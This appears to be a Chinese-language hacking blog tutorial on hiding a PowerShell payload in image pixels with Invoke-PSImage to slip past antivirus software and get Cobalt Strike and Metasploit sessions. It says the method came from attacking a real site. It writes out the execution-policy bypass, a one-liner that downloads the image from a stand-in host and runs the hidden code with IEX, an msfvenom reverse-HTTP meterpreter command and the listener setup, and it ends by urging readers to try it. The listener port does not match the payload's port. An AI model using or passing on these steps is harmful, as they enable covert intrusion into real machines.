利用把Shellcode隱寫到圖片像素RGB進行免殺上線到CS
——by:chenw
0x01 前言
前幾天跟一個朋友一起搞一個站的時候,發現那個站點開了很多殺軟,使用CS的powershell馬無法令其上線。后續在github上找到了一個可以把shellcode隱寫到圖片的RGB里,然后使其過殺軟的檢測上線到CS。
今天打算把這個免殺的過程進行一個記錄。
0x02 本地環境
靶機:win7 IP:192.168.82.136
攻擊機:fsec ip:192.168.82.134
0x03 步驟
0x03-1 CS平台使用步驟
- 首先,使用CS生成一個ps1文件:
- 去github上將免殺項目下載下來,鏈接:https://github.com/dayuxiyou/Invoke-PSImage
然后將剛才生成的ps1文件放在剛剛下載的項目內與Invoke-PSImage.ps1文件在同一目錄:
再准備一張圖片用於生成一張帶有Payload的圖片:
- 之后在win7里使用命令生成一個帶有shellcode的圖片:
#1、設置執行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
#2、導入ps1文件
Import-Module .\Invoke-PSimage.ps1
#3、生成帶有shellcode的圖片
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
之后會得到這么一串代碼:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/s
hell.png"));$o=a Byte[] 4320;(0..3)|%{foreach($x in(0..1079)){$p=$g.GetPixel($x,$_);$o[$_*1080+$x]=([math]::Floor(($p.B
-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
並且會得到帶有shellcode的圖片shell.png:
接着將得到的shellcode里的"http://example.com/s
hell.png"改為我們自己的http服務,這里我使用python3架起一個http服務,命令為:
python3 -m http.server 80
4. 最后來到win7運行該powershell,看CS上是否上線:
成功上線。叫上小伙伴來一起快樂的上號😏
把其放到virustotal上進行檢測,結果如下:
免殺效果還是很nice的。
0x03-2 MSF平台使用步驟
- 首先使用msf生成一個ps1文件,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.82.134 LPORT=7788 -f psh-reflection > msf.ps1
后面老規矩,把它丟到與Invoke-PSImage.ps1文件在同一目錄,后面操作相同,參考CS平台,生成帶有shellcode的圖片,然后放入前面架設的http服務內,進行區別,圖片叫msf.png:
老規矩,將得到的ps代碼里的地址改為自己vps的地址。
接着在fsec上進行監聽:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.82.134
lhost => 192.168.82.134
msf6 exploit(multi/handler) > set lport 7799
lport => 7799
msf6 exploit(multi/handler) >
然后在靶機上運行該代碼使其上線:
成功上線。
0x04 結尾
這么好用的免殺還不趕緊自己動手去試一試